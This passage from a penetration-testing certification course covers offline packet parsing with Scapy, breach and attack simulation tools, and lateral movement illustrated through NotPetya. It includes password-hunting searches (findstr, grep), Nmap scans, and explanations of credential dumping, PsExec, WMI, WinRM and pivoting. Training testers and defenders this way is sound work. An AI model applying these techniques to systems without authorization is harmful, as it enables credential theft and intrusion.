The wrong conclusion writes itself: port 8888 is open, and so is some mystery high port. Trace it against Lesson 7's tcpdump lines. The SYN bit is set in the tester's probes and also in a SYN/ACK reply. In a probe, dport is the port being asked about, so all three scanned ports land in the set whatever the answer was. In a reply, dport is the tester's own source port, which is where 51123 came from. The script never asked who sent the packet. Lesson 7 said it plainly: read the direction before you read the flag.

#!/usr/bin/env python3
"""portstate.py CAPTURE TARGET: what did TARGET answer to each SYN? Reads a file; sends nothing."""
import sys
from scapy.all import PcapReader, IP, TCP

capture, target = sys.argv[1], sys.argv[2]
asked, opened, closed = set(), set(), set()
for pkt in PcapReader(capture):
    if IP not in pkt or TCP not in pkt:
        continue
    ip, tcp = pkt[IP], pkt[TCP]
    if ip.dst == target and tcp.flags == "S":
        asked.add(tcp.dport)
    elif ip.src == target and tcp.flags == "SA":
        opened.add(tcp.sport)
    elif ip.src == target and tcp.flags.R:
        closed.add(tcp.sport)
for port in sorted(asked):
    state = "open" if port in opened else "closed" if port in closed else "no answer"
    print(f"{target},{port},{state}")

$ python3 portstate.py /tmp/scan.pcap 192.168.56.102
192.168.56.102,21,open
192.168.56.102,23,open
192.168.56.102,8888,closed

Two details earn their place. tcp.flags == "S" compares the whole set of flags, so a SYN/ACK no longer passes as a probe. tcp.flags.R tests one bit, because a closed port's reset also carries ACK, the [R.] in Lesson 7's output. PcapReader reads one packet at a time, where rdpcap loads the whole file. Now change the input to a capture from Lesson 7's firewall run, with port 21 dropped:

$ python3 portstate.py /tmp/scan-fw.pcap 192.168.56.102
192.168.56.102,21,no answer
192.168.56.102,22,open

Same script, flipped result. It says "no answer" rather than "closed" on purpose, because silence is what Nmap reports as filtered, and something may be listening behind that filter. Offline parsing leaves no trace on the target at all, which is why you ask the file before you ask the network.

So what?: a script that sorts packets is only as right as its test. Check which side sent the packet, and whether you are testing one bit or the whole flag set.

Caldera, Infection Monkey and Atomic Red Team: what a rehearsal asserts

Breach and attack simulation (BAS) tools run known attacker behavior on purpose, under control, so defenders can check whether their controls respond. A penetration test hunts for the path nobody knew about. A rehearsal asks a narrower question, and asks it again next month: when this known behavior happens here, do we notice? The wrong belief is that a rehearsal hands you that answer. Read what each one actually claims.

Atomic Red TeamCalderaInfection Monkey
Origin and statusRed Canary and contributors; active, 1,941 tests by its README's countMITRE; the repository now sits under the Apache Software Foundation, incubating. Latest release 5.3.0, April 2025; commits continueGuardicore, now Akamai. Last stable release 2.3.0, September 2023. Not archived, but commits have nearly stopped, and its unreleased changelog removes many exploiter plugins
Unit of workOne small test of one technique, in YAMLAn ability; abilities form an adversary profile; an operation runs a profile on agents, in an order set by a plannerA worm-like agent that scans, spreads and reports
NeedsNothing: copy the commands, or use the Invoke-AtomicRedTeam moduleA server (port 8888 in its Docker example) and agents that check inThe Monkey Island server (port 5000) and agents
What a run claimsThese commands implement this technique; they ran on this hostThis chain ran on these agents, with facts from one step feeding the nextFrom this machine, an attacker could reach those machines with those credentials
ATT&CK mappingBuilt in: one folder per techniqueEach ability names its tactic and techniqueIts ATT&CK report was removed in version 2.0.0, so do not expect that mapping now
ResultsA CSV log: technique, test, host, user, exit codeA JSON report with status, exit code and output; the Debrief plugin makes a PDFAn infection map, and a Security report covering segmentation and per-machine fixes
Choose it forOne detection, one technique, this afternoonA repeatable multi-step scenario against many hostsSegmentation and credential reuse across a network

A test file shows how little is claimed. This one is written in Atomic Red Team's format, modeled on the real entries in its T1082 folder (System Information Discovery).

attack_technique: T1082
display_name: System Information Discovery
atomic_tests:
- name: List OS information
  supported_platforms:
  - linux
  input_arguments:
    output_file:
      description: Where to store the results
      type: path
      default: /tmp/T1082.txt
  executor:
    name: sh
    command: |
      uname -a >> "#{output_file}"
      cat /etc/os-release >> "#{output_file}"
    cleanup_command: |
      rm "#{output_file}"

The technique ID is the mapping to ATT&CK, and supported_platforms and executor say where and how it runs. cleanup_command says how to undo it. The only thing the file asserts is that these commands are one implementation of T1082. It says nothing about what your defenses should do. You write that yourself, before the run, as a sentence that can fail. Here is one: "When this runs on WS-14, a process-creation event reaches the security information and event management (SIEM) system within five minutes, and rule R-12 alerts."

Caldera's report has the same limit. This is the shape of one step, with its real field names:

"status": 0,
"executor": "sh",
"attack": {"tactic": "discovery", "technique_name": "System Information Discovery", "technique_id": "T1082"},
"output": {"stdout": "[removed]", "stderr": "", "exit_code": "0"}

In Caldera's source, status 0 is success, 1 is error, 124 is timeout, -2 is discarded and -3 means not yet run. Success means the agent ran the command. It does not mean anyone noticed.

These tools need the same permission as any other. Atomic Red Team's guide opens by telling you to ask the environment's owner, and recommends a test machine built like your others, with your security tooling running. Its module's -ShowDetailsBrief, -CheckPrereqs, -GetPrereqs and -Cleanup switches list a test, check and fetch what it needs, and reverse it. Two more cautions come from the projects themselves:

  • A spreading agent needs the tightest scope. Infection Monkey's documentation warns that with "Scan Agent's networks" on, a machine connected to a public network will scan that network. Its settings are ROE items: the scan target list is your scope, Blocked IPs is your exclusions, and scan depth limits hops, not devices. "Kill All Monkeys" can take up to two minutes to finish. Its FAQ says it avoids exploits that might crash a system, such as EternalBlue, and that some antivirus products flag it.
  • The rehearsal server is a target too. CVE-2025-27364, rated 10.0 on the National Vulnerability Database page, let remote attackers run code on a Caldera server through its agent-compiling feature. The README tells users to run version 5.1.0 or later and not to expose the server to the internet.

Worked example: sorting a rehearsal's results as a performance-based question would

Scenario (fictional). Harbor Mutual's ROE allows Atomic Red Team on two test workstations from 14:00 to 15:00. The team's written assertion is that each test should leave raw events in the SIEM and raise an alert. You have the execution log, matched by hand against a SIEM search. Task: sort each row into Prevented, Detected, Visible but not detected, Not visible, or Invalid run, then say which gap to fix first.

RowTechnique and testHostExitCodeRaw events in SIEMAlert
1T1082, System Information DiscoveryWS-140Yes: systeminfo and reg processesNone
2T1087.002, Enumerate all accounts (Domain)WS-310None from this hostNone
3T1053.005, Scheduled Task Startup ScriptWS-141Yes, including an endpoint block event"Task creation blocked"
4T1135, Network Share Discovery command promptWS-142Yes: a net process; console shows System error 53None

Ask three questions of each row, in order: did it run as designed, did a sensor record it, and was anyone told?

  • Row 1: Visible but not detected. It ran, and the data arrived. No rule fired. A lone systeminfo may be too common to alert on, so the fix may be a rule that correlates several discovery commands.
  • Row 2: Not visible. It ran, and nothing reached the SIEM. You cannot judge any rule, because no rule ever saw the data.
  • Row 3: Prevented. The non-zero exit alone proves nothing; the block event and the alert prove it. It was detected as well.
  • Row 4: Invalid run. Also a non-zero exit, and the easiest row to misread as a block. System error 53 means the path was not found: the test's input named a machine that does not exist. It tested nothing, so fix the input and run it again.

Fix row 2 first. A sensor gap hides every technique on that host, while row 1's gap is one rule. The sentence for the client: "WS-31 sends no process events to the SIEM, so nothing that happens on it can raise an alert."

Now change one input. The client forwards WS-31's process events and you run the same test again. ExitCode is still 0. Raw events now appear, and no alert fires. Row 2 moves to Visible but not detected, and the remaining problem is a missing rule. Had you written "no detection for T1087.002" after the first run, you would have sent the team to tune a rule that had never seen any data.

So what?: a BAS result is three separate facts. An exit code answers only the first. It never tells you whether a sensor recorded the test or whether a person was told.

The whole family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
Scripted AD search (T1087.002, T1069.002, T1482)Domain accounts can read much of the directoryPowerView, Get-ADUser, [adsisearcher]Event 4104; enumeration from ordinary endpoints; event 1644 if enabledLog and alert on it; remove stale and non-expiring accounts
SQL Server discovery at scaleInstances are registered in AD; logins are too broadPowerUpSQLSPN queries; connection bursts to TCP 1433; failed SQL loginsLeast privilege for logins; segment database servers
Module kits in PowerShell (T1059.001)PowerShell runs whatever a user may runPowerSploit, PowerUpAMSI and antivirus detections; event 4104Application control, ConstrainedLanguage mode, script block logging
Protocol scripting (T1059.006)Windows protocols answer any client that can authenticate, sometimes anonymouslyImpacketRemote logons, event 5140, antivirus detections on example scriptsRestrict anonymous access; SMB signing; segmentation
Packet handlingProtocols trust what arrives; offline, noneScapyOffline: nothing. On the wire: odd packets in IDS logsAuthenticated protocols, filtering at the edge
Bash pipelines (T1059.004)Reachable ports answer; offline, nonegrep, awk, tee, ncConnection bursts in file order; process logs if auditedSegmentation and host firewalls
Rehearsal (BAS)Controls assumed to work are never testedCaldera, Infection Monkey, Atomic Red TeamExactly what the test does, if the sensors workFix the gap the test shows, then run it again

What the exam asks, and the pairs people confuse

Objective 4.10 begins "Given a scenario", so expect these cues.

The stem saysIt points toDo not confuse it with
Bundle of PowerShell post-exploitation modules, no longer supportedPowerSploitPowerView, one script inside it
Domain users, groups, trusts from PowerShell without RSATPowerView, or [adsisearcher] by handGet-ADUser, which needs the ActiveDirectory module
Find SQL Server instances across a domainPowerUpSQLPowerUp, for local privilege escalation
Search returns exactly 1,000Set PageSize; the server limit cut it offA permissions problem, which gives a different count
Log file empty, messages on screenThe tool writes to standard error; use 2> or >> f 2>&12>&1 >> f, the wrong order
Only the last host is in the file> overwrote; use >>A loop that ran once
See the output and save ittee -a>>, which hides it
Every port looks open after adding a pipeExit status of the last command; set -o pipefailA firewall answering for the host
Filter must match whole addresses literallygrep -Fxgrep -f, regular expressions anywhere in the line
Script SMB, MSRPC, NTLM or Kerberos in PythonImpacketScapy, for individual packets
Read a capture or build a packet in PythonScapyImpacket, for protocol conversations
Small test for one ATT&CK technique, no serverAtomic Red TeamCaldera, with its server, agents and planner
Adversary profiles, abilities, agents, operationsCalderaAtomic Red Team
Self-propagating agent, infection map, Island serverInfection MonkeyCaldera, whose agents do not spread by themselves
Test ran, events present, no alertDetection gap: rule or tuningLogging gap: no events at all
Keep automation inside the ROEScope check that fails closed, exclusion list, rate limitTrusting the input file

How automated results are reported

Lesson 9's rule still holds: attach the script with its SHA-256 hash, the exact command with date and source address, the raw input, and a note of what you checked by hand. Automation adds two items: the refused list and the rate you actually used, so the client can match your traffic to the ROE and to its own logs. Rehearsal results add the test IDs, host, time and whether cleanup ran. Here is the worked example's main result as a finding, for the fictional client.

  • Title: Workstation group sends no process events to the SIEM, so domain enumeration goes unseen.
  • Severity: Medium. The test itself did no harm, and enumeration is only a preparatory step. But an attacker on these machines would raise no alert for anything that relies on process events. It would rise to High if the group holds privileged administrators, which the test did not establish.
  • Evidence: Atomic Red Team test T1087.002, "Enumerate all accounts (Domain)", on WS-31 inside the agreed window; execution log with ExitCode 0 (hash in the evidence log); SIEM search for that host and window returned no events. A retest after forwarding was enabled returned the events, with no alert.
  • Root cause: The group was built after log forwarding was configured and was never enrolled. No rule covers domain enumeration from ordinary workstations.
  • Remediation: Enroll the group in forwarding and alert when forwarding stops. Add a rule for enumeration from non-administrative endpoints. Rerun the same test and confirm that an alert fires. Note that this test covers one technique on one host, not the whole estate.

Common misconceptions

  • "PowerSploit is a current, maintained toolkit." It is archived and its README says it is unsupported. Know the name for the exam; expect defenders to detect it.
  • "A read-only query needs no permission and leaves no trace." It still needs authorization. Script block logging and LDAP monitoring can record it.
  • "Exit code 0 means the defense failed, and non-zero means it worked." An exit code only reports what the command did. A bad input also gives a non-zero exit.
  • "A filter that dropped one stray address works." A regular expression can drop that stray and still approve its neighbors.
  • "BAS replaces a penetration test." It repeats known behaviors to test controls. It does not hunt for paths nobody has thought of.

The short version

  • PowerSploit is archived and unsupported. PowerView is its Recon script for domain enumeration, needing no RSAT; PowerUp is its local privilege escalation script; PowerUpSQL is NetSPI's separate SQL Server toolkit.
  • Get-ADUser needs the ActiveDirectory module and Active Directory Web Services on TCP 9389, and returns default properties unless you add -Properties. [adsisearcher] needs nothing installed and stops at the server's 1,000-entry limit unless you set PageSize.
  • > moves only standard output, and nc's verbose messages go to standard error. >> f 2>&1 captures both; 2>&1 >> f does not.
  • A pipeline returns its last command's status unless pipefail is on, so adding | tee can turn every closed port into an open one.
  • grep -f matches regular expressions anywhere in a line, and a blank pattern line matches everything. grep -Fxf matches whole lines literally and fails closed.
  • Rate = workers / pause: ten workers pausing 0.5 seconds make twenty connections a second.
  • Impacket is Python classes for SMB, MSRPC and Windows authentication. Scapy handles individual packets and can read a capture without sending anything; a SYN/ACK has the SYN bit set too, so check direction and the whole flag set.
  • Atomic Red Team runs one YAML test per technique with no server; Caldera uses a server, agents, abilities, adversary profiles and operations; Infection Monkey's agent spreads and reports to the Monkey Island, its last stable release was 2.3.0 in 2023, and it dropped its ATT&CK report in 2.0.0.
  • Read a BAS result as three facts (did it run, did a sensor record it, was anyone told) and sort it into Prevented, Detected, Visible but not detected, Not visible, or Invalid run.

Sources

  1. Microsoft. (n.d.). Microsoft Learn: Get-ADUser; Search-ADAccount; ActiveDirectory module; DirectorySearcher.PageSize; SizeLimit; network port requirements; about_Logging_Windows; about_Language_Modes; How AMSI helps; event 1644.
  2. PowerShellMafia. (2020). PowerSploit [archived repository and README]; PowerView documentation. github.com; powersploit.readthedocs.io; Kali Linux. (n.d.). powersploit package page.
  3. Sutherland, S., and NetSPI. (2024). PowerUpSQL [repository, README and cheat sheet]. github.com; cheat sheet.
  4. Fortra. (2026). Impacket (release 0.13.1) [repository and README]. github.com.
  5. Biondi, P., and the Scapy community. (n.d.). Scapy documentation: Introduction; Usage. scapy.readthedocs.io.
  6. Free Software Foundation. (n.d.). bash(1) (REDIRECTION; Pipelines) and grep(1). Linux man-pages. bash; grep; Hobbit. (1996). Netcat 1.10 source, netcat.c, function holler. Debian archive.
  7. Akamai Technologies. (n.d.). Infection Monkey documentation: Welcome; Network; FAQs; Security report; and the project's changelog.
  8. Red Canary. (n.d.). Atomic Red Team [repository, README and wiki]; Invoke-AtomicRedTeam wiki: execution, prerequisites, cleanup, logging. github.com; Getting Started; Execution Logging.
  9. The MITRE Corporation. (2026). MITRE ATT&CK, version 20: T1087.002; T1069.002; T1482; T1059.001; T1082; S0194; S0357. And Caldera documentation: terminology; operation results; with the repository and CVE-2025-27364.
Key terms
Standard streams
The three channels every process starts with: standard input (0), standard output (1) and standard error (2). A plain > redirect moves only standard output.
PowerSploit
A collection of PowerShell modules for penetration testing, including Recon and Privesc. Its repository is archived and its README says it is no longer supported.
PowerView
PowerSploit's PowerShell script for Windows domain enumeration, built on LDAP and Win32 calls, so it needs no administration tools installed.
PowerUpSQL
NetSPI's PowerShell toolkit for discovering, auditing and attacking SQL Server at scale; it finds instances from service principal names in Active Directory.
Impacket
A collection of Python classes for network protocols, with SMB, MSRPC, NTLM and Kerberos support and a set of example scripts, maintained by Fortra's Core Security.
Scapy
A Python program and library that can send, sniff, dissect and forge network packets, and can read a saved capture without transmitting anything.
Breach and attack simulation (BAS)
Running known attacker behavior on purpose, under control and with permission, to check whether a defense prevents, records and alerts on it.
Atomic Red Team
Red Canary's library of small tests, each mapped to a MITRE ATT&CK technique, written in YAML and runnable with no server.
Caldera
An adversary emulation platform from MITRE: a server sends abilities, grouped into adversary profiles, to agents during an operation, and reports each step with its ATT&CK technique.
Infection Monkey
An open-source breach and attack simulation tool from Guardicore, now Akamai, whose worm-like agent spreads across a network and reports to a server called the Monkey Island.

Module 8: Post-Exploitation: Lateral Movement, Exfiltration and Cleanup (Domain 5, objectives 5.2, 5.3 and 5.4)

Follow what happens after a first foothold, as a tester must scope, document and reverse it: lateral movement, staging and exfiltration, then cleanup, restoration and the secure destruction of client data. A lesson on persistence is still being written.

Moving Through the Network: Pivoting, Relays, Remote Management, and Living off the Land

  • Explain from NotPetya's documented behavior why stolen credentials and built-in administration tools spread further than any single exploit.
  • Identify service discovery targets from inside a network, including SMB, RDP, VNC, SSH, LDAP, RPC, DCOM, printers and web interfaces, and read route tables and process IDs.
  • Choose a pivot, relay or remote management channel by what traffic it carries, what it needs and what the rules of engagement permit, and predict the traces it leaves.
  • Report lateral movement with hop-by-hop evidence, a root cause and fixes such as segmentation, Windows LAPS and command-line logging.

10:30 a.m. GMT, June 27, 2017: NotPetya leaves the updater

Around 10:30 a.m. GMT on Tuesday, June 27, 2017, Microsoft's telemetry caught EzVit.exe, the updater for a Ukrainian tax accounting program called M.E.Doc, starting a command line that told rundll32.exe to load a file named perfc.dat. That was NotPetya. The US government's alert traces the backdoor in M.E.Doc's development environment as far back as April 14. Microsoft saw more than 12,500 machines meet the malware in Ukraine, then infections in another 64 countries.

It demanded $300 in Bitcoin, but the alert found no evidence linking the encryption key to the victim's ID, and judged that it behaved more like destructive malware than ransomware. WIRED reported that it took 45 seconds to bring down the network of one large Ukrainian bank.

At the shipping firm Maersk, the foothold was a single finance computer in Odesa with M.E.Doc installed, and the company went on to rebuild 4,000 servers and 45,000 PCs.

In February 2018 the White House blamed the Russian military for "the most destructive and costly cyber-attack in history". In October 2020 the US Justice Department charged six GRU officers, citing nearly $1 billion in losses at three victims alone; charges are accusations, and the defendants are presumed innocent.

How does one computer become a global outage? Through lateral movement: using the host you hold to reach the hosts you want. A worm does it blindly. A tester does it on purpose, one agreed hop at a time, and writes each hop down. This lesson follows NotPetya's route and, at every stop, picks up what the exam expects a tester to know.

Exam objectives: 5.2 (pivoting; relay creation; enumeration, meaning service discovery, network traffic discovery, additional credential capture, credential dumping and string searches; service discovery targets; WMI; WinRM; LOLBins and the listed tools). The objectives PDF prints "Window Management Instrumentation" and "Window Remote Management"; both names are Windows, with an s.

Before you run anything

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Lateral movement raises the stakes, because every hop lands on a system someone depends on. A host you can reach is not a host you may touch; the rules of engagement (ROE) decide which is which.

Nothing in this lesson moves laterally in your lab. The only commands you run are read-only ones on your own VMs from Lesson 2 (Kali at 192.168.56.101, Metasploitable 2 at 192.168.56.102, host-only network) and discovery from Kali. PsExec, WMI, WinRM, Mimikatz and the toolkits are taught by purpose and by what they leave behind, with no invocation lines. Every other address and company here is fictional.

First stop: credentials, Mimikatz and string searches

NotPetya's first move on a new machine was to look for passwords. The US alert ranks a modified copy of Mimikatz as its first and, in most cases, most effective way to spread. Credential dumping means reading secrets from where the operating system keeps them.

Mimikatz's author describes a tool known for pulling plaintext passwords, hashes, PIN codes and Kerberos tickets out of memory, which on Windows means the memory of the Local Security Authority Subsystem Service (LSASS).

What matters here is why it fed a worm. Microsoft's explanation: people often log on with local administrator rights and keep sessions open on several machines, so one machine's memory holds keys that fit others.

Additional credential capture covers everything outside LSASS. NotPetya also read the Windows credential store and reused entries whose names begin TERMSRV/, which are saved Remote Desktop logins, and for existing connections it simply duplicated the current user's token. A tester's list is longer: saved sessions, browser stores, scripts, and cleartext logins seen on the wire.

String searches are the quiet end of the same work. On Windows, findstr searches text files; on Linux, grep does; and the strings utility pulls readable text out of binaries. Here is a search on a fictional Windows host and its result:

C:\inetpub\app> findstr /s /i /n "password" *.config
web.config:14:  <add key="ReportDb" value="Server=10.20.0.25;User Id=svc_report;Password=[password removed]" />

That one line names a database, an account and a secret. Whether you may use it is a separate question: using a found credential is a new hop, and the ROE must allow it. If they do not, record the file, line and account, and report them. Try the idea in your lab, read-only, at Metasploitable's console: grep -rl "password" /var/www/dvwa/config should list the file holding DVWA's database settings.

Defenders are not blind here. Opening LSASS shows up as Sysmon Event ID 10 (ProcessAccess), and a search for "password" shows in any command-line log. Credential Guard isolates secrets with virtualization-based security, and LSA protection stops unprotected processes reading that memory. Neither repairs the root cause: one password, or one admin session, spread across many machines.

Second stop: enumeration from the inside

With credentials in hand, NotPetya asked what was nearby. The US alert says it read the host's IP-to-physical address table, better known as the ARP table. Microsoft says it scanned the local network for TCP 139 and 445, and that on domain controllers and servers it listed the DHCP subnets and scanned every client in them. That noise was visible: Microsoft told NetFlow users to look for workstations sweeping those ports across their own /24 and servers sweeping several /24s.

A tester starts more quietly. Network traffic discovery means learning who talks to whom before you send anything new: the host's existing connections, its ARP cache, and, if the ROE allow it, a short capture with tcpdump. Service discovery is the Nmap work from Lesson 7 from a new vantage point, and it comes after those quiet checks, because a sweep is exactly what Microsoft told defenders to hunt for.

Lesson 7 warned that a host with addresses in two networks is a possible bridge between them. Here is how you spot one from inside. This is sample output from a fictional web server:

C:\> route print
Network Destination        Netmask          Gateway       Interface
          0.0.0.0          0.0.0.0     203.0.113.1    203.0.113.21
        10.20.0.0    255.255.255.0         On-link       10.20.0.6
      203.0.113.0    255.255.255.0         On-link    203.0.113.21

C:\> netstat -ano
  Proto  Local Address        Foreign Address        State        PID
  TCP    0.0.0.0:445          0.0.0.0:0              LISTENING    4
  TCP    0.0.0.0:49822        0.0.0.0:0              LISTENING    3380
  TCP    10.20.0.6:51322      10.20.0.25:5432        ESTABLISHED  2764
  TCP    203.0.113.21:443     198.51.100.77:52110    ESTABLISHED  2764

C:\> tasklist /svc /fi "pid eq 3380"
Image Name                     PID Services
========================= ======== ==========
nc.exe                        3380 N/A

Read it line by line. Two On-link networks through two interfaces: this host is a bridge. The connection to 10.20.0.25:5432 tells you a PostgreSQL database lives on the inner network, and you learned it without sending a packet. Process IDs (PIDs) tie the two tools together: netstat -ano gives the number and tasklist /svc names the program. PID 4 is the System process, which owns kernel-mode listeners such as SMB. And PID 3380 is Netcat listening on a high port. If your team did not put it there, stop: that is evidence of someone else, and it goes up the escalation path (Lesson 27).

Try the Linux equivalents in your lab: ip -br addr and ip route on Kali, then route -n and sudo netstat -tlnp at Metasploitable's console. With Kali's NAT adapter disconnected you should see one network, so neither VM is a bridge.

Service discovery targets: what each port offers the next hop

From inside, the question for each open port changes from "what is running?" to "what could this do for the next hop, and who would see it?"

Target and usual portLegitimate purposeWhy a tester caresWhat defenders can log
Server Message Block (SMB) and file shares: TCP 445, or 139 over NetBIOSFile and printer sharing; hidden admin shares C$, ADMIN$, IPC$Shares hold scripts and credentials. With an admin account, ADMIN$ lets you copy a file and run it remotely: the NotPetya routeSecurity events 4624 type 3 and 5140 or 5145, if share auditing is on
Remote Desktop Protocol (RDP): TCP 3389. Virtual Network Computing (VNC): TCP 5900 plus the display numberA full remote desktopAn interactive session on the next host. Saved RDP logins are reusable, and RFC 6143 calls classic VNC password authentication "cryptographically weak"RDP: 4624 type 10. VNC: its own application log and flows to 5900
Secure Shell (SSH): TCP 22, also carrying Secure Copy Protocol (SCP)Encrypted remote shell and file copyKeys found on one host may open others, and SSH can forward traffic with no new toolThe sshd log; flows to 22 between hosts that never talk
Cleartext: any protocol sending logins unencryptedLegacy devices and old applicationsFrom a pivot, a short capture can yield passwords with no login attempt at allAlmost nothing about the listener; flow data and IDS show the protocols in use
Lightweight Directory Access Protocol (LDAP): TCP 389; LDAPS 636; global catalog 3268 and 3269Directory queries for users, groups and computersAn ordinary domain account can read much of the directory, which feeds attack path mapping. A simple bind on 389 is cleartextDirectory Service event 2889 for unsigned or cleartext binds, once enabled
Remote Procedure Call (RPC): TCP 135 on Windows; TCP and UDP 111 (rpcbind) on UnixCalling a function on another machine; the mapper says where each service livesShows what is registered: NFS on Unix, management interfaces on Windows, which then use a dynamic port (49152-65535 by default)Flows to 135 followed by a high port; content is rarely logged
File Transfer Protocol (FTP): TCP 21Moving filesAnonymous access, cleartext logins, directories that may also serve the webServer transfer log; IDS sees USER and PASS
Telnet: TCP 23Legacy remote terminal, still found on network gearCleartext logins, often default credentials on old devicesDevice login log, if kept; any flow to 23 deserves an alert
HTTP and HTTPS web interfaces: TCP 80, 443, often 8080, 8443 or 8180Management consoles for switches, printers, hypervisors and application serversInternal consoles are often older and less guarded, because only a pivot can reach them. Page titles and certificates usually name the productWeb access and device login logs, often not forwarded
Line Printer Daemon (LPD): TCP 515Print queues, defined in RFC 1179Printers are rarely patched hosts on trusted subnets, and queue names reveal departmentsPrint server job logs; flows to 515 from anything but a print server
JetDirect: TCP 9100HP's network print server; raw data sent to the port is printedNmap's version detection skips 9100 by default because some printers print anything they receive. Do not override that on a client's printers without agreementFlows to 9100, and sometimes paper; printers log little
RPC/Distributed Component Object Model (DCOM): RPC on 135, then a dynamic portCalling COM objects on another machine; the classic channel for WMIRemote execution with a valid account. By default only Administrators may activate COM objects remotely135 then a high port, then a process started under svchost's DcomLaunch group
Process IDs (no port)The number the operating system gives each running processTies a port or connection to a program, which can reveal security agents as well as services. On Linux, sudo netstat -tlnp or ss -tlnpSysmon events 1 and 3 and Security event 4688 record PIDs; looking one up resembles ordinary admin work

Cleartext is worth seeing once. This is a fictional FTP login as a capture tool would reassemble it, with the secret replaced. Anyone on the path reads the same thing:

220 (vsFTPd 2.3.4)
USER svc_backup
331 Please specify the password.
PASS [password removed]
230 Login successful.

Try the table in your lab from Kali: sudo nmap -sV -p 21,22,23,80,111,135,139,389,445,515,3389,5900,5985,8180,9100 192.168.56.102. Expect something like this abridged sample, where the closed ports are answers too: this Linux target has no RDP, WinRM, LDAP or printer service.

PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         vsftpd 2.3.4
23/tcp   open   telnet      Linux telnetd
111/tcp  open   rpcbind     2 (RPC #100000)
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3389/tcp closed ms-wbt-server
5900/tcp open   vnc         VNC (protocol 3.3)
8180/tcp open   http        Apache Tomcat/Coyote JSP engine 1.1
9100/tcp closed jetdirect

Third stop: crossing with PsExec, WMI and WinRM

Having found a target, NotPetya copied itself over with ordinary file transfer and the stolen credentials, then started the copy remotely with PsExec or the WMI command line. Its PsExec arrived renamed dllhost.dat and looked for admin$ shares. Neither step was a hack. These are administration tools doing their jobs for an account that appears to be allowed. Microsoft's own PsExec page notes that antivirus scanners sometimes flag it because viruses have used it; the tool itself is not malware. Here is what each channel needs and leaves behind.

ChannelPortsWhat it needsWhat runs on the targetWhat it leaves behind
PsExec, Microsoft SysinternalsTCP 445An admin account; access to ADMIN$Copies PSEXESVC over and runs it as a temporary serviceSystem event 7045 naming PSEXESVC; 4624 type 3; share events for ADMIN$; the file visible crossing in SMB2
Windows Management Instrumentation (WMI)Over DCOM: TCP 135, 445 and a high port. Over WinRM: 5985 or 5986An admin account on the targetThe command starts under WmiPrvSE.exe; no service is createdProcess events with WmiPrvSE.exe as parent; flows to 135 then a high port; the WMI-Activity log if enabled
Windows Remote Management (WinRM)5985 for HTTP, 5986 for HTTPSService enabled; membership of Administrators or Remote Management UsersPowerShell remoting starts Wsmprovhost.exe; WinRS starts winrshost.exeThe Microsoft-Windows-WinRM/Operational log; 4624 type 3; PowerShell event 4104 where script block logging is on

Read across the rows. PsExec is loudest on disk, because a service gets installed. WMI and WinRM write less but still produce a process with a telling parent. All three need the same thing, an account the target accepts, so the weakness is the credential and not the tool. One update for working testers: WMI is the service, and WMIC was only its command-line front end. Microsoft deprecated WMIC in Windows 10 version 21H1 and removed it from Windows 11 versions 24H2 and 25H2 with updates beginning in August 2026. WMI itself remains supported, and PowerShell is the replacement front end.

NotPetya's other route needed no credentials. EternalBlue and EternalRomance exploited SMBv1 flaws, CVE-2017-0144 and CVE-2017-0145. Microsoft had fixed both in MS17-010 on March 14, 2017, fifteen weeks earlier, and patched machines or those with SMBv1 disabled were not affected by that mechanism. They were still reachable by credentials. Mimikatz's author told WIRED the pair worked together: unpatched machines gave up passwords that opened patched ones.

Key idea: patching closed the exploit route, not the credential route. Movement through valid accounts and built-in tools works on a fully patched network, so the fixes are about credentials and reachability. They are unique local administrator passwords, fewer admin sessions, and firewalls between hosts with no reason to talk.

Where a tester parts company with a worm: pivoting and relay creation

NotPetya moved by copying itself, so every new host became the next attacker. Testers never release anything self-propagating. A tester sends traffic through a host instead. That is network pivoting, and it exists because of firewalls: the inner network drops your packets, but it accepts packets from a host that already lives there. Here is a fictional layout in words.

Kali  198.51.100.50
  |   firewall allows only SSH and HTTPS to app01
  v
app01  eth0 203.0.113.20  |  eth1 10.20.0.5     (the pivot: multihomed)
  |   a new connection, sourced from 10.20.0.5
  v
fs01  10.20.0.40          (drops anything from outside 10.20.0.0/24)

Every method below fills in that middle arrow differently. Relay creation is the simplest: a process on the pivot listens on one port and joins it to a connection onward. The objectives do not define the phrase, but in context it means building that forwarder. Do not confuse it with a relay attack, which forwards someone's authentication and not your traffic.

MethodWhat crosses the outer linkWhat fs01 seesWhat it can carryWhat it needs
Relay with Netcat, or Windows' built-in netsh portproxyRaw bytes to one port on the pivotA connection from 10.20.0.5One service per relayA listener on the pivot that your side can reach
SOCKS proxy with ProxychainsEach connection wrapped in SOCKS, usually inside SSH or a framework sessionA connection from 10.20.0.5TCP only, from dynamically linked programs. No UDP, ICMP or raw SYN scanA SOCKS listener on the path; Kali wraps each tool
sshuttleOne SSH session carrying the data of every connectionA connection from 10.20.0.5Any TCP port on the subnets you name, plus DNS; UDP only with Linux TPROXY; no ICMPAn SSH login and Python on the pivot, no admin there; root on Kali
Metasploit session routesInside the session's own channelA connection from 10.20.0.5Metasploit's modules; its SOCKS module extends the route to other tools through ProxychainsAn authorized session on the pivot

Two mechanisms explain most exam answers. Proxychains-ng's README says it hooks network functions in dynamically linked programs through a preloaded library and redirects connections through SOCKS or HTTP proxies, TCP only. So a program that calls connect() is carried, and Nmap's connect scan (-sT) works. A SYN scan (-sS) crafts raw packets that never pass through that hook, and neither does ping, so both fail or lie. A statically linked tool ignores the hook altogether.

sshuttle takes the other approach. On Kali it catches connections to the subnets you name, assembles each TCP stream locally, carries the data over the SSH session, and rebuilds packets on the far side. Its documentation calls that data-over-TCP, which avoids the terrible performance of tunneling TCP inside TCP. Your tools run unmodified against real addresses, which Proxychains cannot offer.

Look at the third column: in every row, fs01 logs the pivot's address, not yours. Client analysts tracing the activity will land on app01. That is why NIST SP 800-115 asks assessors to keep a step-by-step activity log: it lets the client tell your actions from a real adversary's. Defenders can still catch all of this. The giveaways are a listener that was not there before (netstat -ano names its PID), a long-lived SSH session or agent process, and flows from a DMZ host to management ports on the inside. ATT&CK files these under Internal Proxy (T1090.001) and Protocol Tunneling (T1572).

A worked decision: Northway Freight's two networks

Try this as you would a performance-based question: read the exhibits, make the calls yourself, then compare. Northway Freight is fictional.

